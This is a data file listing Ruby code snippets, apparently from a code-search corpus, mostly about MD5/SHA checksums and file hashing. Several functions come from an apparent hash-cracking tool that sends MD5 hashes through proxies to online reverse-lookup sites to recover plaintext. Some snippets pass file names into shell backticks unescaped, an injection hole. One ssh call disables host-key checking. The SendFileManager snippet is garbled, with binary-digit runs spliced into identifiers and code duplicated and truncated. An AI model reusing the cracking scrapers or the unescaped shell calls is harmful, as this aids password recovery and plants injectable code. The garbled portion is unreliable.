"def myaddr_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Find form, enter hash, run search...\n page = agent.get('http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php')\n search_form = page.form_with(:name => 'f1') # our form\n search_form.md5 = hash_to_find # set hash in form field value\n page = agent.submit(search_form, search_form.buttons.first) # submit form and return new page\n # Check for match found to requesting hash\n checking_hash = /<div class='white_bg_title'><span class='middle_title'>MD5 hash<\\/span>: #{hash_to_find}<\\/div>\\s<br>/\n bad_news = /<div class='error_title'>Hash \"#{hash_to_find}\" not found in database<\\/div>/\n if page.body =~ checking_hash and not page.body =~ bad_news\n if page.body =~ /\\s<div class='white_bg_title'><span class='middle_title'>Hashed string<\\/span>: (.+)<\\/div>/\n plain_jane = $1.to_s.strip.chomp\n if verbose\n print_good(\"Match Found: md5.my-addr.com\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5.my-addr.com\") if verbose\n return nil\n end\n print_error(\"No Results from: md5.my-addr.com\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5.my-addr.com\") if verbose\n return nil\n end\n end",
"def fetch(tarball, url, md5)\n if !File.exist?(tarball)\n puts \"fetching from #{url}\"\n puts \"progress messages should appear...\"\n perms = $platform == \"Windows\" ? \"wb\" : \"w\"\n totalSize = 0\n lastPercent = 0\n interval = 5\n f = File.new(tarball, perms)\n f.write(open(url,\n :content_length_proc => lambda {|t|\n if (t && t > 0)\n totalSize = t\n STDOUT.printf(\"expect %d bytes, percent downloaded: \",\n totalSize)\n STDOUT.flush\n else \n STDOUT.print(\"unknown size to download: \")\n end\n },\n :progress_proc => lambda {|s|\n if (totalSize > 0)\n percent = ((s.to_f / totalSize) * 100).to_i\n if (percent/interval > lastPercent/interval)\n lastPercent = percent\n STDOUT.printf(\"%d \", percent)\n STDOUT.printf(\"\\n\") if (percent == 100)\n end\n else\n STDOUT.printf(\".\")\n end\n STDOUT.flush\n }).read)\n f.close()\n s = File.size(tarball)\n if (s == 0 || (totalSize > 0 && s != totalSize))\n puts \"download failed\"\n FileUtils.rm_f(tarball)\n exit 1\n end\n\n # now let's check the md5 sum\n calculated_md5 = Digest::MD5.hexdigest(File.open(tarball, \"rb\") {\n |f| f.read\n })\n if calculated_md5 != md5\n puts \"md5 mismatch, tarball is bogus, delete and retry\"\n puts \"(got #{calculated_md5}, wanted #{md5})\"\n exit 1\n else\n puts \"md5 validated! (#{calculated_md5} == #{md5})\"\n end\n end\nend",
"def checksum!(path = nil, opts = {})\n opts = opts.inject({}){ |r, (k,v)| r[k.to_sym] = v; r }\n \n raise \"Path uses differnt extension\" if path && File.extname(path) != File.extname(self.local_path)\n \n \n if opts[:debug]\n raise (\"File '%s' does not exist\" % File.expand_path( path ) ) if path && !File.exist?( File.expand_path( path ) )\n else\n raise (\"File '%s' does not exist\" % path ) if path && !File.exist?( File.expand_path( path ) )\n end\n \n raise \"Can not specify both piece_size and piece_count\" if opts[:piece_size] && opts[:piece_count]\n raise \"piece_size must be an Integer\" if opts[:piece_size] && !opts[:piece_size].is_a?(Integer)\n raise \"piece_count must be an Integer\" if opts[:piece_count] && !opts[:piece_count].is_a?(Integer)\n \n path ||= self.local_path\n \n #get filesize\n self.size = File.size( File.expand_path( path ) )\n\n # Overrides piece_count if set\n # minimum size of 1KB for a piece\n if opts[:piece_size]\n @piece_count = nil\n @piece_size = [opts[:piece_size], 1024].max\n end\n\n\n # Overrides piece_size if set\n # This will be a multiple of 1024, and the last file will be slightly smaller\n # this means 1KB is the minimum size for a piece\n if opts[:piece_count]\n @piece_count = opts[:piece_count]\n @piece_size = ((@size / @piece_count) / 1024.0).ceil * 1024 \n end\n\n self.hashes = []\n self.hashes << Metalink4FileHash.new( hash_value: Digest::SHA256.file( File.expand_path( path ) ).hexdigest, hash_type: \"sha-256\" )\n if self.piece_size\n i = 0\n (0...@size).step(self.piece_size).each do |offset|\n self.hashes << Metalink4FileHash.new( hash_value: Digest::SHA256.hexdigest(File.read(File.expand_path( path ), self.piece_size, offset)), hash_type: \"sha-256\", piece: i )\n i += 1\n end\n end\n end",
"def quick_verify\n cached_md5 == remote_md5 and remote_md5 == md5\n end",
"def file_md5\n Digest::MD5.file(self).hexdigest\n end",
"def md5sum_file(file)\n return `md5sum #{file}`\n end",
"def main\n # Arguments base to be use for reference\n args = {:hash_function => 1,:compare => false, :debugmode => false, :samefolder => false, :hash => nil, :file => nil, :output_file => nil}\n # Options to be parsed\n opt = OptionParser.new\n opt.banner = \"Checksum handler; Usage: checksum.rb <options> FILE\"\n opt.on(\"-c\", \"--compare HASH/HASHDB\", \"Set the mode to compare an input hash with the FILE or to compare all hashes of the with all file inside it\") do |value|\n args[:compare] = value\n end\n opt.on('-v', '--verbose', 'Verbose mode ON') do\n args[:debugmode] = true\n end\n opt.on('-s', '--same-folder', 'Change the target file path to ./ as this script was working in the same folder; useful shareable files') do\n args[:samefolder] = true\n end\n opt.on(\"-o\", \"--output-file FILENAME\", \"Output file for the checksum (csv)\") do |value|\n args[:output_file] = value\n end\n opt.on('-5', \"--md5\", \"Use MD5 algorithm\") do\n args[:hash_function] = 5\n end\n opt.on('-1', '--sha1', 'Use SHA1 algorithm (Set by default)') do\n args[:hash_function] = 1\n end\n opt.on('-2', '--sha2 BITSLENGTH', 'Use SHA2 algorithm with your specific bit lenth can be 256, 384 or 512') do |bit_size|\n # SHA2 can have different bit sizes like 224, 256, 384, 512\n if [256, 384, 512].find bit_size.to_i\n args[:bit_size] = bit_size.to_i\n end\n args[:hash_function] = 2\n end\n opt.on('-h', '--help') do\n puts opt\n return\n end.parse!\n # Get the FILE variable\n args[:file] = ARGV.pop\n # When no target is specified\n unless args[:file]\n # iif compare mode isn't enabled\n unless args[:compare]\n puts opt\n end\n\n end\n begin\n # If the mode is set to compare\n if args[:compare]\n compare_hashes_handler args[:compare], args[:file], args[:hash_function], args[:bit_size]\n else\n # Get check sum from file\n checksum_handler args[:file], args[:output_file], args[:hash_function], args[:bit_size],args[:debugmode], args[:samefolder]\n end\n rescue => error\n # For debugging\n puts error\n # Print options\n puts opt\n end\nend",
"def checksum gem\n md5 = Digest::MD5.new\n sha512 = Digest::SHA512.new\n\n info \"checksumming #{gem} from #{@gems_container}\"\n\n @swift.read_object @gems_container, gem do |res|\n res.read_body do |chunk|\n md5 << chunk\n sha512 << chunk\n end\n\n raise \"checksum mismatch for #{@gems_container}/#{gem}\" unless\n res['ETag'] == md5.hexdigest\n end\n\n @md5_queue << [gem, md5.hexdigest]\n @sha512_queue << [gem, sha512.hexdigest]\n end",
"def writeMD5sum\n base = @basename.sub( /(.)\\.[^.]+$/ , '\\1')\n base += '.md5'\n File.open( File.join(@dirname,base) ,\"w\") { |f| \n f.printf(\"%s %s\\n\", File.join(@dirname,@basename), audioMD5sum ) # computes it if nil\n }\n @audioMD5sum\n end",
"def digest\n Digest::MD5.file(file).hexdigest\n end",
"def update_file_metadata(data)\n update_attributes!( :file_size => data.bytesize, :file_hash => Digest::SHA1.hexdigest( data ) )\n end",
"def get_md5(fname)\n Digest::MD5.hexdigest(File.read(fname))\nend",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\n end",
"def checksum(msg)\n length = msg.length\n num_short = length / 2\n check = 0\n\n msg.unpack(\"n#{num_short}\").each do |short|\n check += short\n end\n\n if length % 2 > 0\n check += msg[length-1, 1].unpack('C').first << 8\n end\n\n check = (check >> 16) + (check & 0xffff)\n return (~((check >> 16) + check) & 0xffff)\n end",
"def append_md5(file, digest, hashless: false)\n return file if hashless\n\n [[file.split(ex = File.extname(file)).first, digest].join('-'), ex].join\n end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\nend",
"def verify_file(mode, header_hash)\n # Select mode\n case mode\n when :IN\n hash_hex = header_hash['OH'].dup\n file_handle = open_in_file @file_in_path\n file_handle.seek FILE_HEADER_BYTES\n when :OUT\n hash_hex = header_hash['FH'].dup\n file_handle = open_in_file @file_out_path\n else\n raise StandardError.new 'Unsupported file type. Must be :IN or :OUT'\n end\n\n # Endianess?\n 1.upto(15) do |i|\n hash_hex[2*i] = hash_hex[3*i]\n hash_hex[2*i+1] = hash_hex[3*i+1]\n end\n hash_hex = hash_hex[0..31]\n\n # Read file and hash it\n md5 = Digest::MD5.new\n begin\n while (data = file_handle.readpartial(BUFFER_SIZE))\n md5 << data\n end\n rescue EOFError\n # Okay, read to the end\n ensure\n file_handle.close\n end\n hash_hex == md5.hexdigest.upcase\n end",
"def write(data, offset = 0)\n # Track our offset into the remote file\n fptr = offset\n\n # Duplicate the data so we can use slice!\n data = data.dup\n\n # Take our first chunk of bytes\n chunk = data.slice!(0, self.chunk_size)\n\n # Keep writing data until we run out\n while (chunk.length > 0)\n ok = self.client.write(self.file_id, fptr, chunk)\n cl = ok['Payload'].v['CountLow']\n\n # Partial write, push the failed data back into the queue\n if (cl != chunk.length)\n data = chunk.slice(cl - 1, chunk.length - cl) + data\n end\n\n # Increment our painter and grab the next chunk\n fptr += cl\n chunk = data.slice!(0, self.chunk_size)\n end\n end",
"def md5onlinenet_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Fill out form and run search for hash\n page = agent.get('http://md5online.net') # Get page\n search_form = page.form_with(:action => 'http://md5online.net/') # find form to fill out\n search_form.pass = hash_to_find # set hash to find value\n page = agent.submit(search_form, search_form.buttons.first) # submit form and return new page\n if page.body =~ /<center><p>md5 :<b>#{hash_to_find}<\\/b> <br>pass : <b>(.+)<\\/b><\\/p><\\/table>/\n plain_jane = $1.to_s.strip.chomp\n if verbose\n print_good(\"Match Found: md5online.net\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5online.net\") if verbose\n return nil\n end\n print_error(\"No Results from: md5online.net\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5online.net\") if verbose\n return nil\n end\n end",
"def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end",
"def md5_hash_hex(x)\n h = Digest::MD5.new\n h << x\n return h.to_s # to_s method gives the result in hex\nend",
"def send_hashes(event)\n levels = MappackLevel.where('mappack_id > 0')\n count = levels.count\n res = levels.each_with_index.select{ |l, i|\n dbg(\"Hashing level #{i} / #{count}...\", newline: false, pad: true)\n !l.compare_hashes\n }.map{ |map, i| map.name }\n event << \"There are #{res.size} levels with differing hashes:\"\n res.size <= 20 ? event << format_block(res.join(\"\\n\")) : send_file(event, res.join(\"\\n\"))\nrescue => e\n lex(e, \"Error getting hash discrepancies.\", event: event)\nend",
"def hash\n Digest::MD5.hexdigest(abs_filepath)[0..5]\n end",
"def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend",
"def needs_md5sums\n false\n end",
"def fileseek(offset = 0, _message = nil)\n # st = Time.now\n @fHnd.seek(offset, IO::SEEK_SET)\n # $log.warn \"seek time [#{Time.now-st}] from [#{message}]\" if $log\n end",
"def update_master(checksum, lsn_increment = 1, lsn = -1)\n \n # update the meta-information in the file\n @rexml_doc[1][1].string = \"version = \" + @version.to_s\n @rexml_doc[1][3].string = \"md5_checksum = \" + checksum\n if lsn == -1\n @rexml_doc[1][5].string = \"lsn = \" + (Application.logger.lsn.to_i + lsn_increment).to_s\n else\n @rexml_doc[1][5].string = \"lsn = \" + (lsn.to_i + lsn_increment).to_s\n end\n \n # write the in-memory version of the file to the disk\n File.open(\"data/\" + filename, 'w') {|f| f.write(@rexml_doc) }\n end",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\n end",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\nend",
"def recursive_checksum(_path, hash_class, _bit_size, file_object, debugmode, samefolder)\n begin\n # When the file is a directory be recursive\n if File.directory? _path\n # Object to hand the directory\n directory_object = Dir.open _path\n base_path = File.expand_path _path\n # Process all files in directory\n directory_object.each_child do |child|\n # Child to be processed\n child_path = File.join base_path, child\n\n recursive_checksum child_path, hash_class, _bit_size,file_object, debugmode, samefolder\n end\n else\n # path to be used\n if samefolder\n # use ./ for base example ./filename.txt\n file_path = _path.sub(samefolder, './')\n else\n # use complete path to file\n file_path = File.expand_path _path\n end\n # When it is aa file write directly to file_object or print it\n content = \"#{file_path},#{checksum _path, hash_class, _bit_size}\"\n # Debug mode prints every file hash\n if debugmode\n puts content\n end\n # If the user use -o to output\n if file_object\n file_object.write \"#{content}\\n\"\n end\n end\n rescue\n nil\n end\n\nend",
"def create_md5(file, new_file)\n stdout = `md5 -q \"#{file}\" > \"#{new_file}.tif.md5\"`\n puts stdout\nend",
"def unpack_hexdigest(hex)\n [hex].pack('H*')\n end",
"def unpack_hexdigest(hex)\n [hex].pack('H*')\n end",
"def hash_file(name, length)\n pieces = String.new\n file = ::File.open(name, 'r')\n pieces << Digest::SHA1.digest(file.read(length)) until file.eof?\n file.close\n pieces\n end",
"def checksum\n fil_header[:checksum]\n end",
"def md5comcn_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Find form, enter hash, run search...\n page = agent.get('http://md5.com.cn/')\n search_form = page.form_with( :action => '/md5reverse' )\n search_form.md = hash_to_find\n button = search_form.button_with( :name => 'submit' )\n page = agent.submit(search_form, button) # submit form and return new page\n if page.body =~ /<label class=\"res count label b\">Md5:<\\/label>\\s+<span class=\"res green\">#{hash_to_find}\\s+<!--#{hash_to_find}-->.+<\\/span><br\\/>\\s+<label class=\"res count label\">Result:<\\/label>\\s+<span class=\"res green\">(.+)<\\/span>/\n plain_jane = $1.strip.chomp\n if verbose\n print_good(\"Match Found: md5.com.cn\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5.com.cn\") if verbose\n return nil\n end\n print_error(\"No Results from: md5.com.cn\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5.com.cn\") if verbose\n return nil\n end\n end",
"def read(handle, offset, length)\n send_request(FXP_READ, :string, handle, :int64, offset, :long, length)\n end",
"def _md5(str)\n js_context.call('newrank_md5', str, bare: true)\n end",
"def seek_to_seek(offset)\r\n\t\t\tunless @fh\r\n\t\t\t\traise \"Cannot seek on unopened file\\n\"\r\n\t\t\tend\r\n\t\t\[email protected](offset)\r\n\t\t\ttrue\r\n\t\t end",
"def md5_checksum_ticket( key1, key2, merchant, orderid, currency, amount, ticket )\n Digest::MD5.hexdigest( key2 +\n Digest::MD5.hexdigest( key1 +\n \"merchant=#{merchant}&orderid=#{orderid}&ticket=#{ticket}¤cy=#{currency}&amount=#{amount}\"\n )\n )\n end",
"def findSmallHash(f)\r\n return Digest::SHA1.file(f).hexdigest()\r\nend",
"def md5\n @md5 ||= digest(path, :md5)\n end",
"def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend",
"def cram_md5_challenge; end",
"def md5_hash(data)\n md5 = Digest::MD5.new\n md5 << data\n md5.hexdigest\n end",
"def send_chunk(data)\n response.write('%x' % data.size + \"\\r\\n\")\n response.write(data + \"\\r\\n\")\n end",
"def digest_file( x)\n path = requested_file( x[:request] )\n if File.exist?(path) && !File.directory?(path)\n Digest::MD5.hexdigest(File.read(path))\n else\n nil\n end\n end",
"def md5_of_body\n data[:md5_of_body]\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def shortsha(n = 7)\n @sha.slice(0,n)\n end",
"def get_file_hash(fullPath)\n contents = File.read(fullPath)\n fileHash = Digest::MD5.hexdigest(contents)\n return fileHash\nend",
"def fix!# {{{\n self.checksum!\n end",
"def mutate_md5(cell)\n cell ? Digest::MD5.base64digest(cell) : cell\n end",
"def file_remote_digestsha1(file_name)\n data = read_file(file_name)\n chksum = nil\n if data\n chksum = Digest::SHA1.hexdigest(data)\n end\n return chksum\n end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def md5_sum(file_name)\n dst_path = \"#{self.path}#{file_name}\"\n cmd = self.class.curr_host == host ?\n \"find #{dst_path.shellescape} -type f -exec md5sum {} \\\\; | awk '{print $1}' | sort | md5sum\" :\n \"ssh -q -oBatchMode=yes -oStrictHostKeyChecking=no #{self.host} \\\"find #{dst_path.shellescape} -type f -exec md5sum {} \\\\; | awk '{print \\\\$1}' | sort | md5sum\\\"\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n r.to_s[0..31]\n end",
"def md5_sum(file_name)\n dst_path = \"#{self.path}#{file_name}\"\n cmd = self.class.curr_host == host ?\n \"find #{dst_path.shellescape} -type f -exec md5sum {} \\\\; | awk '{print $1}' | sort | md5sum\" :\n \"ssh -q -oBatchMode=yes -oStrictHostKeyChecking=no #{self.host} \\\"find #{dst_path.shellescape} -type f -exec md5sum {} \\\\; | awk '{print \\\\$1}' | sort | md5sum\\\"\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n r.to_s[0..31]\n end",
"def remote_file_content_same_as?(full_path, content)\n Digest::MD5.hexdigest(content) == capture(\"md5sum #{full_path} | awk '{ print $1 }'\").strip\n end",
"def ssh_md5sum_file(file)\n df = \"\"\n Net::SSH.start(@ip, \"pipeline\") do |ssh|\n df = ssh.exec! \"md5sum #{file}\"\n end\n df\n end",
"def createMD5Hash(data)\n\t\treturn Digest::MD5.digest(data)\n\tend",
"def md5sum\n @md5sum ||= Digest::MD5.hexdigest(self.to_checksum_string)\n end",
"def checksum\n end",
"def noisette_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Find form, enter hash, run search...\n page = agent.get('http://md5.noisette.ch/index.php')\n search_form = page.forms.first\n search_form.hash = hash_to_find\n page = agent.submit(search_form, search_form.buttons.first) # submit form and return new page\n if not page.body =~ /<div class=\"error\">No corresponding md5 found for \"#{hash_to_find}\"<\\/div>/\n plain_jane = page.forms[1].fields[0].value\n if verbose\n print_good(\"Match Found: md5.noisette.ch\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + 